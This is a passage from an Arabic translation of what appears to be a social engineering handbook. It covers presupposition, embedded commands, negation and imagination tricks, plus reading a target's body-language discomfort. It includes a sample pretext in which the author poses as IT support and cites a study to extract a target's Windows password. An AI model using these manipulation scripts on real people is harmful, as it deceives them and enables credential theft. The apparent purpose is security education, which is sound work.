‫اﻟﺳﺑب ﻟﮫ ﻋﻼﻗﺔ ﺑﻘﺎﻧون اﻟﺗوﻗﻌﺎت )‪ ،(law of expectations‬ﻣﺎ ھﻲ اﻟﺣﺎﻟﺔ اﻟﺗﻲ ﯾﺗواﻓﻖ ﻓﯾﮭﺎ اﻟﻧﺎس ﻋﺎدة ﻣﻊ اﻟﺗوﻗﻌﺎت‪ .‬ﻋﺎدة ﻣﺎ ﯾﺗم اﺗﺧﺎذ‬
‫اﻟﻘرارات ﺑﻧﺎء ﻋﻠﻰ ﻣﺎ ﯾﺷﻌر ﺑﮫ اﻟﺷﺧص ﻣن ﺗوﻗﻊ اﻟطﺎﻟب ﻟك ﻣن ﻓﻌﻠﮫ ﻟﮫ‪ .‬طرﯾﻘﺔ واﺣدة ﯾﻣﻛﻧك ﻓﯾﮭﺎ ﺑدء إرﺳﺎل "اﻟﺑﯾﺎﻧﺎت" اﻟﺧﺑﯾﺛﺔ ﻟﺑرﻧﺎﻣﺞ‬
‫اﻟدﻣﺎغ وﺗﺳﻣﻰ اﻻﻓﺗراض )‪.(presupposition‬‬
‫ﻋن طرﯾﻖ إﻋطﺎء اﻟﮭدف ﺷﻲء ﻣﺎ أوﻻ‪ ،‬اﻟطﻠب اﻟذي ﺳوف ﺗﺟرﯾﮫ ﺗﺎﻟﯾﺎ ﺳوف ﯾﻛون ﻣﺗوﻗﻊ واﻟﺗﻲ ﯾﻧﺑﻐﻲ اﺗﺑﺎﻋﮭﺎ‪ .‬ھﻧﺎك ﻣﺛﺎل ﺑﺳﯾط ﺑﺎﻟﻧﺳﺑﺔ ﻟك‬
‫ﻻﺧﺗﺑﺎر ھو ﻣﻊ اﻷﺑواب‪ .‬اﻣﺳك اﻟﺑﺎب ﻟﺷﺧص ﻣﺎ وﻋﻠﻰ اﻷرﺟﺢ ﺳﯾﻛون ھذا اﻟﺷﺧص ﻋﻠﻰ اﻷﻗل ﯾﺟﻌل ﻣﺣﺎوﻟﺔ ﻟﺿﻣﺎن ﺟﻌل اﻟﻣﺟﻣوﻋﺔ اﻟﺗﺎﻟﯾﺔ‬
‫ﻣن اﻷﺑواب ﻣﻔﺗوﺣﺔ ﻟك‪ .‬اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﻣﻛﻧﮫ اﻟﻘﯾﺎم ﺑذﻟك ﻣن ﺧﻼل ﻣﻧﺢ اﻟﮭدف ﻣﺟﺎﻣﻠﺔ أو ﻗطﻌﺔ ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﺗﻌﺗﺑره ذا ﻗﯾﻣﺔ‬
‫أوﻻ‪ ،‬ﻗﺑل أن ﯾﻘدم اﻟطﻠب‪ .‬إﻋطﺎءھم ذﻟك أوﻻ ﯾﺧﻠﻖ ﻓﻲ ﻧﻔوﺳﮭم ﺿرورة اﻻﻣﺗﺛﺎل ﻟطﻠب ﺣﯾث ﺗﺗوﻗﻌﮫ ﻓﻲ اﻟﻣﺳﺗﻘﺑل‪.‬‬
‫ﯾﻣﻛن وﺻف اﻻﻓﺗراض )‪ (presupposition‬اﻷﻓﺿل ﻋﺑر ﻣﺛﺎل ﻛﺎﻻﺗﻰ‪:‬‬
‫"ھل ﺗﻌﻠم ان ﺟﺎرى اﻟﻣﻼﺻﻖ ﻟﺑﺎﺑﻲ‪ ،‬راﻟف‪ ،‬داﺋﻣﺎ ﯾﻘود ﺳﯾﺎرة ﻓورد اﺳﻛورت ﺧﺿراء؟"‬
‫ﻓﻲ ھذه اﻟﺟﻣﻠﺔ ﻛﻧت ﺗﻔﺗرض‪:‬‬
‫أﻧﺎ أﻋرف ﺟﺎرى‪.‬‬
‫اﺳﻣﮫ راﻟف‪.‬‬
‫ﻟدﯾﮫ رﺧﺻﺔ ﻗﯾﺎدة‪.‬‬
‫ﯾﻘود ﺳﯾﺎرة ﺧﺿراء‪.‬‬
‫ﻻﺳﺗﺧدام اﻻﻓﺗراض )‪ (presupposition‬ﺑﺷﻛل ﻓﻌﺎل ﺗﺳﺄل ﺳؤاﻻ ﺑﺎﺳﺗﺧدام اﻟﻛﻠﻣﺎت‪ ،‬ﻟﻐﺔ اﻟﺟﺳد‪ ،‬وﺗﻌﺑﯾرات اﻟوﺟﮫ اﻟﺗﻲ ﺗﺷﯾر إﻟﻰ أن ﻣﺎ ﻛﻧت‬
‫ﺗﻧوى طﺎﻟﺑﮫ ﻗﺑﻠت ﺑﺎﻟﻔﻌل‪ .‬ﺟوھر اﻷﺳﺎس ﻟﮭذه اﻟطرﯾﻘﺔ ھو ﺗﺟﺎوز "ﺟدار اﻟﺣﻣﺎﯾﺔ" )اﻟﻌﻘل اﻟواﻋﻲ( واﻟوﺻول ﻣﺑﺎﺷرة إﻟﻰ "ﺟذر اﻟﻧظﺎم"‬
‫)اﻟﻼوﻋﻲ(‪ .‬أﺳرع طرﯾﻘﺔ ﻟﺣﻘن "اﻟﺷﻔرة" اﻟﺧﺎﺻﺔ ﺑك ھو ﻣن ﺧﻼل اﻷواﻣر اﻟﻣﺿﻣﻧﺔ‪.‬‬
‫ﻻﺋﺤﺔ اﻷواﻣﺮ اﻟﻤﻀﻤﻨﺔ )‪(The Rules of Embedded Commands‬‬
‫ﺑﻌض اﻟﻣﺑﺎدئ اﻷﺳﺎﺳﯾﺔ ﻟﻸواﻣر اﻟﻣﺿﻣﻧﺔ اﻟﺗﻲ ﺗﺟﻌﻠﮭﺎ ﺗﻌﻣل‪:‬‬
‫‪ -‬اﻷواﻣر ﺗﻛون ﻋﺎدة ﻗﺻﯾرة‪ 4-3 :‬اﻟﻛﻠﻣﺎت‪.‬‬
‫‪ -‬ھﻧﺎك ﺣﺎﺟﺔ إﻟﻰ ﺗرﻛﯾز طﻔﯾف ﻟﺟﻌﻠﮭﺎ ﻓﻌﺎﻟﺔ‪.‬‬
‫‪ -‬إﺧﻔﺎﺋﮭﺎ ﻓﻲ اﻟﺟﻣل اﻟﻌﺎدﯾﺔ ھو اﻻﺳﺗﺧدام اﻷﻛﺛر ﻓﻌﺎﻟﯾﺔ‪.‬‬
‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬
 ‫‪896‬‬

‫‪ -‬ﻟﻐﺔ اﻟوﺟﮫ واﻟﺟﺳم ﯾﺟب أن ﺗدﻋم اﻷواﻣر‪.‬‬

‫اﻷواﻣر اﻟﻣﺿﻣﻧﺔ ذات ﺷﻌﺑﯾﺔ ﻓﻲ اﻟﺗﺳوﯾﻖ ﻣﻊ أﺷﯾﺎء ﻣﺛل‪:‬‬
‫‪" -‬اﺷﺗر اﻵن!"‬
‫‪" -‬اﻓﻌل‪/‬اﺷﺗﻐل اﻵن"!‬
‫‪" -‬اﺗﺑﻌﻧﻲ"!‬
‫ﻓﻲ ﺗﺟﺎوز ﺳﻌﺔ اﻟﻣﺧزن اﻟﻣؤﻗت اﻟﺣﻘﯾﻘﻲ )‪ ،(buffer overflow‬ﻛﺎﺗب ‪ exploit‬ﯾﺳﺗﺧدم اﻟﺣﺷو )‪ ،(padding‬اﻟذي ھو وﺳﯾﻠﺔ ﻹﺿﺎﻓﺔ‬
‫ﺑﻌض اﻷﺣرف اﻟﺗﻲ ﻻ ﺗﻘطﻊ اﻟﺗﻧﻔﯾذ وﻟﻛن ﺗﺳﻣﺢ ﺑﺗﻐﯾر ﺻﻐﯾر ﻟطﯾف "‪ "landing pad‬واﻟذي ﯾؤدي إﻟﻰ اﻟﺷﻔرات اﻟﺧﺑﯾﺛﺔ‪ .‬ﯾﻣﻛن ﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎع اﻻﺳﺗﻔﺎدة ﻣن اﻟﻌﺑﺎرات اﻟﺗﻲ ھﻲ ﻣﺛل اﻟﺣﺷو )‪ ،(padding‬ﻟﻣﺳﺎﻋدة اﻷﻣر اﻟﺗﺎﻟﻲ أن ﯾﻛون ﻟﮫ ﻣﻛﺎن ﻟﯾن ﻟﻠﮭﺑوط ﻋﻧدﻣﺎ ﯾﺗم ﺣﻘﻧﮫ‪ ،‬ﻣﺛل‪:‬‬
‫‪" -‬ﻋﻧدﻣﺎ"‪...‬‬
‫‪" -‬ﻛﯾف ﺗﺷﻌر ﻋﻧدﻣﺎ ﻛﻧت"‪...‬‬
‫‪" -‬ﯾﻣﻛن ﻟﻠﺷﺧص أن"‪...‬‬
‫‪" -‬ﻛﻣﺎ ﻛﻧت"‪...‬‬
‫ﻛل ﻣن ھذه اﻟﺑﯾﺎﻧﺎت ﺗﻌﻣل ﻋﻠﻰ ﺧﻠﻖ اﻟﻌﺎطﻔﺔ أو اﻟﻔﻛر اﻟﺗﻲ ﺗﺳﻣﺢ ﻟك ﻟﺣﻘن ﻛود ﻓﻲ اﻟﻼوﻋﻲ‪.‬‬
‫ﯾﻮﺟﺪ اﻟﻜﺜﯿﺮ ﻣﻦ اﻷﻣﺜﻠﺔ ﻋﻠﻰ اﻷواﻣﺮ اﻟﻤﻀﻤﻨﺔ‪ ،‬وﻟﻜﻦ ھﻨﺎ ذﻛﺮﻧﺎ ﻋﺪد ﻗﻠﯿﻞ ﻟﻠﺘﺄﻣﻞ‪:‬‬
‫اﺳﺗﺧدام اﻻﻗﺗﺑﺎس أو اﻟﻘﺻص )‪ :(Using quotes or stories‬اﻟدﻣﺎغ ﯾﻣﯾل إﻟﻰ ﻣﻌﺎﻟﺟﺔ اﻟﻘﺻص اﻟﻣﺧﺗﻠﻔﺔ ﻋن ﻏﯾرھﺎ ﻣن اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫ﺑﻌض ﻣن أﻋظم اﻟﻣﻌﻠﻣﯾن اﻟذﯾن ﻋﺎﺷوا ﻣن أي وﻗت ﻣﺿﻰ‪ ،‬أرﺳطو‪ ،‬أﻓﻼطون‪ ،‬ﺟﻣﻠﯾﺋﯾل اﻟﺟﻣﯾﻊ اﺳﺗﺧدم اﻟﻘﺻص واﻟرﺳوم اﻟﺗوﺿﯾﺣﯾﺔ‬
‫اﻟﻣﺳﺗﺧدﻣﺔ ﻟﺗﻌﻠﯾﻣﮭم اﻻﺳﺗﻣﺎع إﻟﯾﮭم‪ .‬ﻟﻣﺎذا؟‬
‫اﻟﻌﻘل اﻟﻼوﻋﻲ ﯾﻌﺎﻟﺞ اﻟﻘﺻص واﻟﺗﻌﻠﯾﻣﺎت ﻣﺑﺎﺷرة‪ .‬ﺑﺎﻧدﻟر‪ ،‬أﺣد آﺑﺎء اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪ ،‬ﻋﻠم ﻣﻣﺎرﺳﻲ ‪ NLP‬أﻧﮭم ﺑﺣﺎﺟﮫ ﻟﺗﻌﻠم ﻛﯾﻔﯾﺔ‬
‫اﺳﺗﺧدام ﻋﻼﻣﺎت اﻻﻗﺗﺑﺎس )‪ .(quotes‬ﻓﮭو ﯾﻌرف ﻗوة اﻟﻘﺻص أو اﻻﻗﺗﺑﺎس واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ إﻋطﺎء ﻗوة ﻟﻠﻣﺗﺣدث ﻓﻲ اﻟﺗﻔﻛﯾر ﻓﻲ ﻣﺳﺗﻣﻌﯾﮫ‪.‬‬
‫ﯾﻣﻛن ﻗراءة وﻧﻘل واﺳﺗﺧدام اﻻﻗﺗﺑﺎس‪ ،‬ﺛم ﺗﺿﻣﯾن اﻷواﻣر ﻓﻲ اﻻﻗﺗﺑﺎس ﻟﯾﻛون اﺳﺗﺧدام ھذه اﻟﺗﻘﻧﯾﺔ ﻗوﯾﺔ‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ ﺣﺎﻟﺔ واﺣدة أﻧﺎ ﻓﻲ ﺣﺎﺟﺔ ﻟﻠﺗﻼﻋب ﺑﺎﻟﮭدف ﻟﯾﻌطﯾﻧﻲ ﻛﻠﻣﺔ اﻟﻣرور اﻟﻘدﯾﻣﺔ ﺣﺗﻰ أﺗﻣﻛن ﻣن "ﺗﻐﯾﯾرھﺎ" إﻟﻰ ﻛﻠﻣﺔ ﻣرور‬
‫أﻛﺛر أﻣﻧﺎ‪ .‬وﻛﺎن ﻟدي ذرﯾﻌﺔ ﻣﻧدوب اﻟدﻋم ﺣﯾث ﺗﺳﺎءل ﺗﻠﻘﺎﺋﯾﺎ ﻟﻣﺎذا ھﻧﺎك اﻟﺣﺎﺟﺔ إﻟﻰ ﺗﻐﯾﯾر ﻛﻠﻣﺎت اﻟﻣرور اﻟﻘدﯾﻣﺔ‪ .‬أﻧﺎ اﺳﺗﺧدﻣت ﺷﻲء ﻣن ھذا‬
‫اﻟﻘﺑﯾل "‪ ،‬ذﻛرت دراﺳﺔ ﺣدﯾﺛﺔ أﺟرﺗﮭﺎ ﺷرﻛﺔ أﺑﺣﺎث ‪ Xavier‬أن ‪ ٪74‬ﻣن اﻟﻧﺎس ﯾﺳﺗﺧدﻣون ﻛﻠﻣﺎت ﻣرور ﺿﻌﯾﻔﺔ ﻓﻲ اﻟﺷرﻛﺎت اﻷﻣرﯾﻛﯾﺔ‪.‬‬
‫ھذا ھو اﻟﺳﺑب اﻟذي ﺟﻌﻠﻧﺎ ﻧطﻠﻖ ﺑرﻧﺎﻣﺟﺎ ﻟﺗﻐﯾﯾر ﻛﻠﻣﺎت اﻟﻣرور ﻋﻠﻰ ﻣﺳﺗوى اﻟﺷرﻛﺎت‪ .‬أﻧﺎ ﺳوف اﻗوم ﺑﺗﻐﯾﯾر ﻛﻠﻣﺔ اﻟﻣرور اﻟﺧﺎﺻﺔ ﺑك؛‬
‫أﺣﺗﺎج ﻣﻧك أن ﺗﻌطﯾﻧﻲ ﻛﻠﻣﺔ اﻟﻣرور اﻟوﯾﻧدوز اﻟﻘدﯾﻣﺔ اﻟﺧﺎﺻﺔ ﺑك وﺑﻌد ذﻟك ﺳوف اﻗوم ﺑﮭذا اﻟﺗﻐﯾﯾر اﻵن"‪ .‬ﻋن طرﯾﻖ اﻗﺗﺑﺎس ﻣرﻓﻖ اﻟﺑﺣوث‬
‫أﺿﺎﻓت وزﻧﺎ ﻟﻛﻼﻣﻲ ﺣول ﻟﻣﺎذا ﯾﺟب إﺣداث ھذا اﻟﺗﻐﯾﯾر‪.‬‬
‫اﺳﺗﺧدام اﻟﻧﻔﻲ )‪ :(Using negation‬اﻟﻧﻔﻲ ھو ﻣﺛل اﻟﻛﺛﯾر ﻣن ﻋﻠم اﻟﻧﻔس اﻟﻌﻛﺳﻲ‪ .‬ﺑﺈﺧﺑﺎر اﻟﮭدف ﺑﺎن ﻻ ﯾﻔﻌل ﺷﯾﺋﺎ أﻛﺛر ﻣن اﻟﻼزم‪ ،‬ﯾﻣﻛﻧك‬
‫ﺗﺿﻣﯾن أﻣر ﻣﺎ ﻓﻲ ھذه اﻟﺟﻣﻠﺔ‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا ﻛﻧت أﻗول ﻟك "ﻻ ﺗﻧﻔﻖ اﻟﻛﺛﯾر ﻣن اﻟوﻗت ﻓﻲ ﻣﻣﺎرﺳﺔ اﺳﺗﺧدام اﻷواﻣر اﻟﻣﺿﻣﻧﺔ " ﺣﯾث‬
‫ﯾﻣﻛﻧﻧﻲ أن أطرح اﻷﻣر "ﻣﺎرس اﺳﺗﺧدام اﻷواﻣر اﻟﻣﺿﻣﻧﺔ" ﻓﻲ اﻟﺟﻣﻠﺔ‪ .‬ﯾﻣﻛﻧﻧﻲ أﯾﺿﺎ أن اﻓﺗرض أﻧك ﺳوف ﺗﻣﺎرس ﻋﻠﯾﮫ إﻟﻰ ﺣد ﻣﺎ‪ ،‬وإذا‬
‫ﻛﻧت ﻋﻧﯾد ﻗد ﺗﻘول‪" ،‬ﻻ ﯾﻣﻛﻧك أن ﺗﻘول ﻟﻲ ﻣﺎ ﯾﺟب اﻟﻘﯾﺎم ﺑﮫ‪ ،‬وﺳوف أﻣﺎرس ﻛل ﻣﺎ أرﯾد"‪.‬‬
‫إﺧﺑﺎر اﻟﺷﺧص أن ﺷﯾﺋﺎ ﻣﺎ ﻟﯾس ﻣﮭﻣﺎ أو ذات اﻟﺻﻠﺔ ﯾﺟﻌل ﺟزء اﻟﻼوﻋﻲ ﻣن ﻋﻘﻠﮫ ﻓﻲ إﯾﻼء اھﺗﻣﺎم إﺿﺎﻓﻲ ﺣﺗﻰ ﯾﺗﻣﻛن ﻣن ﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن‬
‫ﻣﻧﺎﺳب أم ﻻ‪ .‬ﯾﻣﻛﻧك ﺗﺿﻣﯾن اﻷواﻣر ﻓﻲ ﺟﻣل ﺳﻠﺑﯾﺔ ﻣﺛل اﻟﻣﺛﺎل اﻟﺳﺎﺑﻖ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗﺗرك اﻟﻣﺳﺗﻣﻊ ﻣن دون أي ﺧﯾﺎر ﺳوى اﺗﺧﺎذ‬
‫اﻹﺟراءات اﻟﻼزﻣﺔ‪.‬‬
‫أﺟﺑر اﻟﻣﺳﺗﻣﻊ ﻋﻠﻰ اﺳﺗﺧدام ﺧﯾﺎﻟﮫ )‪ :(Forcing the listener to use his imagination‬ﯾﻌﻣل ھذا اﻷﺳﻠوب ﻋﻧدﻣﺎ ﺗﺳﺄل اﻟﻣﺳﺗﻣﻊ‬
‫ﺳؤال‪ ،‬وذﻟك ﺑﺎﺳﺗﺧدام ﻋﺑﺎرات ﻣﺛل "ﻣﺎذا ﯾﺣدث ﻟو‪ "...‬أو "ﻣﺎ ھو ﺷﻌورك ﻋﻧدﻣﺎ ‪ ،"...‬واﻟﺗﻲ ﻛﺎن ﯾﺟب أن ﺗﺗﺧﯾل ﺷﯾﺋﺎ ﻟﻠرد ﻋﻠﯾﮫ‪ .‬إذا ﻛﻧت‬
‫ﺗﺳﺄل‪" :‬ﻣﺎذا ﯾﺣدث ﻋﻧدﻣﺎ ﺗﺻﺑﺢ ﻏﻧﯾﺎ وﻣﺷﮭورا؟" إن اﻟﻣﺳﺗﻣﻊ ﻟدﯾﮫ ﺗﺻورا داﺧﻠﯾﺎ ﻟﻠوﻗت اﻟذي ﻗد ﯾﻛون ﻓﯾﮫ ﻏﻧﻲ وﻣﺷﮭور ﻟﻠرد ﻋﻠﻰ ھذا‬
‫اﻟﺳؤال‪ .‬إذا أﻧﺎ أﺳﺄﻟك‪" :‬ﻣﺎذا ﯾﺣدث ﻋﻧدﻣﺎ ﻛﻧت ﺗﺗﻘن اﺳﺗﺧدام اﻷواﻣر اﻟﻣﺿﻣﻧﺔ؟" أﻧﺎ اﺟﺑرك ﻋﻠﻰ ﺗﺧﯾل أن ﺗﺻﺑﺢ ﻋﻠﻰ درﺟﺔ اﻟﻣﺎﺟﺳﺗﯾر‪،‬‬
‫وﻛﯾف ﺳﺗﺷﻌر ﻋﻧدﻣﺎ ﯾﺣدث ذﻟك‪ .‬اﻟﺗﻔﻛﯾر ﻓﻲ اﻷﻣر ﺑﮭذه اﻟطرﯾﻘﺔ‪ :‬إذا ﻗﻠت ﻟك‪" ،‬ﻻ ﺗﺗﺧﯾل ﺑﻘرة ﺣﻣراء" ﺣﯾث اﻧﮫ ﺳف ﯾﻛون ﻟدﯾك ﺻورة ﻟﺑﻘرة‬
‫ﺣﻣراء أوﻻ ﺛم ﺗﻘول ﻟﻧﻔﺳك ﻻ ﺗﻔﻛر ﻓﻲ ذﻟك‪ .‬ﻋﻘﻠك اﻟﻼواﻋﻲ ھو اﻟﻣﺳؤول ﻋن ﺗﻔﺳﯾر ﻛل ﻛﻠﻣﺔ ﻓﻲ ﻣﺟﻣوﻋﺔ ﻣن اﻷواﻣر إﻟﻰ ﺷﻲء ﯾﻣﻛن أن‬
‫ﯾﻣﺛل وﻣن ﺛم إﻋطﺎء ﻣﻌﻧﻰ‪.‬‬
‫ﺑﺣﻠول اﻟوﻗت اﻟﻌﻘل ﻗد ﻓﮭم اﻟﺟﻣﻠﺔ‪ ،‬اﻟﻼوﻋﻲ اﻟﺧﺎص ﺑﮫ ﺗﺧﯾل ھذا‪ .‬اﻟﻌﻘل اﻟﻼواﻋﻲ ﯾﻌﺎﻟﺞ اﻟﺑﯾﺎﻧﺎت ﻣﺑﺎﺷرة‪ ،‬دون أي اﻋﺗﺑﺎر ﻟﻠﺳﯾﺎق‪ .‬اﻟﺟزء‬
‫اﻵﺧر اﻟﻛﺑﯾر ھو أن اﻟﻼوﻋﻲ ﯾﻣﻛن أن ﯾﺗﺗﺑﻊ ﻟﻐﺔ اﻟﺟﺳم‪ ،‬وﺗﻌﺑﯾرات اﻟوﺟﮫ‪ ،‬وﻧﻐﻣﺎت اﻟﺻوت‪ ،‬واﻹﯾﻣﺎءات‪ ،‬وﻣن ﺛم رﺑط ﻛل ﻣﻧﮭم ﻣﻊ اﻟرﺳﺎﻟﺔ‬
‫اﻟﺗﻲ ﺗﺣدث‪ .‬ﻓﻲ ﺣﯾن أﻧﮫ ﯾﻘوم ﺑرﺑط اﻟﻧﻘﺎط‪ ،‬إذا ﺟﺎز اﻟﺗﻌﺑﯾر‪ ،‬ﻓﺎن اﻟﻌﻘل اﻟﻼواﻋﻲ ﻟدﯾﮫ ﺧﯾﺎرات ﻗﻠﯾﻠﮫ وﻟﻛﻧﮫ ﯾﻣﺗﺛل إذا ﺗم إﺧراج اﻷواﻣر‬
‫اﻟﻣﺿﻣﻧﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪897‬‬

‫ﻣﺎ ھو ﻣﮭم ﻋﻧد اﺳﺗﺧدام اﻷواﻣر اﻟﻣﺿﻣﻧﺔ ھو ﻋدم إﻓﺳﺎد اﻟﻧﻐﻣﺎت اﻟﺧﺎﺻﺔ ﺑك‪ .‬إذا ﻛﻧت ﺑﺣﺎﺟﺔ إﻟﻰ اﻟﺗﺄﻛﯾد ﻋﻠﻰ اﻟﻛﻠﻣﺎت ﻓﺈﻧك ﺳوف ﺗﺑدو‬
‫ﻏرﯾﺑﺎ وﺗﺧوف اﻟﺷﺧص اﻟذي ﻗﺑﺎﻟك ﺑدﻻ ﻣن ﺗﺿﻣﯾن اﻷواﻣر‪ .‬ﻛﻣﺎ ھو اﻟﺣﺎل ﻣﻊ ﺗﺟﺎوز ﺳﻌﺔ اﻟﻣﺧزن اﻟﻣؤﻗت )‪ (buffer overflow‬ﻓﻲ‬
‫اﻟﺑرﻣﺟﯾﺎت‪ ،‬ﯾﺟب أن ﺗﺗطﺎﺑﻖ اﻟﻣﻌﻠوﻣﺎت ﻣﻊ اﻷﻣر اﻟذي ﺗﺣﺎول ﺗﺿﻣﯾﻧﮫ‪.‬‬

‫‪Understanding Nonverbal Displays Of Comfort and Discomfort‬‬

‫ﻣﻧﺎطﻖ اﻟراﺣﺔ ﻏﺎﻟﺑﺎ ﻣﺎ ﺗوﺳﻌت ﻣن ﺧﻼل ﻋدم اﻟراﺣﺔ‪.‬‬
‫ﺑﯾﺗر ﻣﺎﻛوﯾﻠﯾﺎﻣز‬

‫ﻋﻧدﻣﺎ أﻗوم ﺑﺗدرﯾس ﻓﺋﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬أﻏطﻲ ﻟﻐﺔ اﻟﺟﺳد وﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ ،‬ﺑطرﯾﻘﺔ ﻣﻣﺎﺛﻠﺔ إﻟﻰ اﻟﻔﺻول اﻟﺳﺎﺑﻘﺔ ﻣن ھذا اﻟﻛﺗﺎب‪ .‬ﺣﯾث‬
‫ﺑﻌض اﻟطﻼب ﻏﺎرﻗﯾن ﺑواﺳطﺔ ﺟﻣﯾﻊ اﻷﺷﯾﺎء اﻟﺗﻲ ﯾﻘﺎل ﻟﮭم ان ﯾﺑﺣﺛوا ﻋﻧﮭﺎ وﯾﺷﻌرون ﺑﺄن ﻣﺣﺎوﻟﺔ ﻣﻼﺣظﺔ اﻟﻛﺛﯾر ﻣن اﻷﻣور ﺳوف ﺗﺷﺗت‬
‫اﻧﺗﺑﺎھﮭم‪ .‬ﺑدﻻ ﻣن ﻣﺣﺎوﻟﺔ اﻟﺗوﺻل إﻟﻰ اﻟﺣﯾل ﻟﻣﺳﺎﻋدﺗﮭم ﻣن ﻣﻼﺣظﺔ ﻛل اﻟﺗﻌﺑﯾرات أو اﻟﻌﻼﻣﺎت‪ ،‬ﻛﻧت أﻗول ﻟﮭم أن ﯾﻔﻌﻠوا ﺷﯾﺋﺎ واﺣدا‪ :‬اﺑﺣﺛوا‬
‫ﻋن ﻋﻼﻣﺎت اﻟراﺣﺔ واﻻﻧزﻋﺎج‪ .‬ﻻﺣظ أن ﺷﺧﺻﺎ ﻣﺎ ﻟدﯾﮫ ﺑﻌض ﻟﻐﺔ اﻟﺟﺳد اﻷﺳﺎﺳﯾﺔ اﻟذي ﯾﺗﺣول إﻟﯾﮭﺎ ﻋﻧد اﻻﻧزﻋﺎج واﻟﺗﻲ ﺗﻘول ﻟﻛم اﻟﻛﺛﯾر‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﺑول ﻛﯾﻠﻲ واﺣدة ﻣن ﻣؤﺳﺳﻲ ﻣﺷروع "‪ "truth wizards‬اﻟﺗﻲ ذﻛر ﻓﻲ وﻗت ﺳﺎﺑﻖ‪ ،‬ﻻﺣظ أن اﻟدﻛﺗور أﯾﻛﻣن ﯾﺷﯾر إﻟﻰ‬
‫ﻣﺛل ھذه اﻟﺗﻐﯾﯾرات ﻓﻲ اﻷﺳﺎس ﺑﺎﺳم "اﻟﻧﻘﺎط اﻟﺳﺎﺧﻧﺔ )‪."(hot spot‬‬
‫اﻟدﻛﺗور اوﺳوﻟﯾﻔﺎن‪ ،‬اﻟذي ﻗﺎم ﺑﺗﻧﺳﯾﻖ اﻟﺑﺣوث ﺣول ﻣﺷروع "‪ ،"wizard project‬أﺷﺎرت إﻟﻰ أن اﻟﻣﻌﺎﻟﺟﺎت )‪ (wizard‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن‬
‫ﺗﺳﺗﺷﮭد ﺑﺎﻻﻋﺗراف ﺑﮭذه اﻟﻌروض ﻣﻊ ﻣﻼﺣظﺔ ﻣواﺿﯾﻌﮭم ﻛﻌﺎﻣل ﻓﻲ ﺗﻘﯾﯾﻣﺎﺗﮭﺎ‪.‬‬
‫ﺗﺧﯾل أن ھدﻓك ھو ﺑن‪ .‬ھدﻓك ھو ﺑدء اﻟﻣﺣﺎدﺛﺔ واﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ أن ﺗؤدي إﻟﻰ اﻻﺳﺗﻧﺑﺎط‪ .‬ﻋﻧدﻣﺎ ﺗﻘﺗرب‪ ،‬رأﯾﺗﮫ ﺟﺎﻟﺳﺎ وﯾدﯾﮫ ﺧﻠف رأﺳﮫ وﻧظرة‬
‫اﻟرﺿﺎ ﻋﻠﻰ وﺟﮭﮫ‪ ،‬ﻛﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﻣﻊ ﺑدء اﻟﺗﺣدث إﻟﯾﮫ‪ ،‬ﻓﺎن ﻣﺣﺎدﺛﺗك ﺗﺑدأ ﻓﻲ اﻟﺗوﺟﮫ ﻧﺣو ﺑﻌض اﻷﺳﺋﻠﺔ ﺣول ﺷرﻛﺗﮫ‪ ،‬وﺑﻌد ذﻟك ﯾﻌرض ﻣﺎ ھو ﻣﺑﯾن ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻰ‪.‬‬

‫ﺑن ﯾﺗﺄﻣل ﻗراره‪ ،‬ھو ﺑدأ ﯾﺷﻌر ﺑﺄﻧﮫ ﻏﯾر ﻣرﺗﺎح‪ .‬ﻋﺿﻼت رﻗﺑﺗﮫ ﻣﺗوﺗرة‪ ،‬ﺑدأ ﯾﺗﺳﺎءل إذا ﻛﺎن اﺗﺧذ اﻟﻘرار اﻟﻣﻧﺎﺳب ﻣن ﺧﻼل اﻻﺳﺗﻣرار ﻓﻲ‬
‫اﻟﺣوار واﻹﺟﺎﺑﺔ ﻋﻠﻰ اﻷﺳﺋﻠﺔ اﻟﺧﺎﺻﺔ ﺑك‪ .‬ﺛم ذھب ﻣن وﻗﻔﺔ واﺛﻘﺔ إﻟﻰ واﺣدة ذات اﻻﻧزﻋﺎج اﻟﻌﺎﻟﯾﺔ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪898‬‬

‫ﺑﺎﻟﻧﺳﺑﺔ ﻟﻠﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ ،‬ھذا ﻗول ﺿﺧم‪ .‬ﯾﻣﻛﻧك ان ﺗرى ﺑوﺿوح اﻟﻌﺎطﻔﺔ اﻟﺗﻲ ﯾﺷﻌر ﺑﮭﺎ ﺑن وﻛﯾف ﺗؤﺛر ﻓﯾﮫ‪ .‬ﻋﻧد ھذه اﻟﻧﻘطﺔ‪ ،‬ﻓﺎن‬
